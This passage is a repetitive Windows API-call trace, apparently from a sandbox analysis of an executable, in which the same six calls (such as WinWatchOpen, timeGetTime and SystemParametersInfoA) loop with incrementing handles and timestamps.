LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e2 [0140.521] WinWatchOpen () returned 0x63a260 [0140.521] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e2 [0140.521] WinWatchOpen () returned 0x63a280 [0140.521] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e2 [0140.521] WinWatchOpen () returned 0x63a2a0 [0140.521] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e2 [0140.521] WinWatchOpen () returned 0x63a2c0 [0140.521] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e2 [0140.521] WinWatchOpen () returned 0x63a2e0 [0140.521] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.521] LockResource (hResData=0x0) returned 0x0 [0140.521] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.521] WinWatchNotify () returned 0x0 [0140.521] timeGetTime () returned 0x11385e3 [0140.521] WinWatchOpen () returned 0x63a300 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e3 [0140.522] WinWatchOpen () returned 0x63a320 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e3 [0140.522] WinWatchOpen () returned 0x63a340 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e3 [0140.522] WinWatchOpen () returned 0x63a360 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e3 [0140.522] WinWatchOpen () returned 0x63a380 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e3 [0140.522] WinWatchOpen () returned 0x63a3a0 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e3 [0140.522] WinWatchOpen () returned 0x63a3c0 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.522] LockResource (hResData=0x0) returned 0x0 [0140.522] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.522] WinWatchNotify () returned 0x0 [0140.522] timeGetTime () returned 0x11385e4 [0140.522] WinWatchOpen () returned 0x63a3e0 [0140.522] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e4 [0140.523] WinWatchOpen () returned 0x63a400 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e4 [0140.523] WinWatchOpen () returned 0x63a420 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e4 [0140.523] WinWatchOpen () returned 0x63a440 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e4 [0140.523] WinWatchOpen () returned 0x63a460 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e4 [0140.523] WinWatchOpen () returned 0x63a480 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e4 [0140.523] WinWatchOpen () returned 0x63a4a0 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.523] LockResource (hResData=0x0) returned 0x0 [0140.523] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.523] WinWatchNotify () returned 0x0 [0140.523] timeGetTime () returned 0x11385e5 [0140.523] WinWatchOpen () returned 0x63a4c0 [0140.523] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e5 [0140.524] WinWatchOpen () returned 0x63a4e0 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e5 [0140.524] WinWatchOpen () returned 0x63a500 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e5 [0140.524] WinWatchOpen () returned 0x63a520 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e5 [0140.524] WinWatchOpen () returned 0x63a540 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e5 [0140.524] WinWatchOpen () returned 0x63a560 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e5 [0140.524] WinWatchOpen () returned 0x63a580 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.524] LockResource (hResData=0x0) returned 0x0 [0140.524] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.524] WinWatchNotify () returned 0x0 [0140.524] timeGetTime () returned 0x11385e6 [0140.524] WinWatchOpen () returned 0x63a5a0 [0140.524] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e6 [0140.525] WinWatchOpen () returned 0x63a5e0 [0140.525] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e6 [0140.525] WinWatchOpen () returned 0x63a600 [0140.525] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e6 [0140.525] WinWatchOpen () returned 0x63a620 [0140.525] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e6 [0140.525] WinWatchOpen () returned 0x63a640 [0140.525] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e6 [0140.525] WinWatchOpen () returned 0x63a660 [0140.525] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e6 [0140.525] WinWatchOpen () returned 0x63a680 [0140.525] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.525] LockResource (hResData=0x0) returned 0x0 [0140.525] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.525] WinWatchNotify () returned 0x0 [0140.525] timeGetTime () returned 0x11385e7 [0140.525] WinWatchOpen () returned 0x63a6a0 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.526] timeGetTime () returned 0x11385e7 [0140.526] WinWatchOpen () returned 0x63a6c0 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.526] timeGetTime () returned 0x11385e7 [0140.526] WinWatchOpen () returned 0x63a6e0 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.526] timeGetTime () returned 0x11385e7 [0140.526] WinWatchOpen () returned 0x63a700 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.526] timeGetTime () returned 0x11385e7 [0140.526] WinWatchOpen () returned 0x63a720 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.526] timeGetTime () returned 0x11385e7 [0140.526] WinWatchOpen () returned 0x63a740 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.526] timeGetTime () returned 0x11385e7 [0140.526] WinWatchOpen () returned 0x63a760 [0140.526] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.526] LockResource (hResData=0x0) returned 0x0 [0140.526] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.526] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a780 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a7a0 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a7c0 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a7e0 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a800 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a820 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.527] timeGetTime () returned 0x11385e8 [0140.527] WinWatchOpen () returned 0x63a840 [0140.527] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.527] LockResource (hResData=0x0) returned 0x0 [0140.527] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.527] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a860 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.528] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.528] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a880 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.528] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.528] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a8a0 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.528] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.528] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a8c0 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.528] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.528] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a8e0 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.528] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.528] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a900 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.528] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.528] WinWatchNotify () returned 0x0 [0140.528] timeGetTime () returned 0x11385e9 [0140.528] WinWatchOpen () returned 0x63a920 [0140.528] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.528] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385ea [0140.529] WinWatchOpen () returned 0x63a940 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.529] WinWatchNotify () returned 0x0 [0140.529] timeGetTime () returned 0x11385ea [0140.529] WinWatchOpen () returned 0x63a960 [0140.529] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.529] LockResource (hResData=0x0) returned 0x0 [0140.529] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 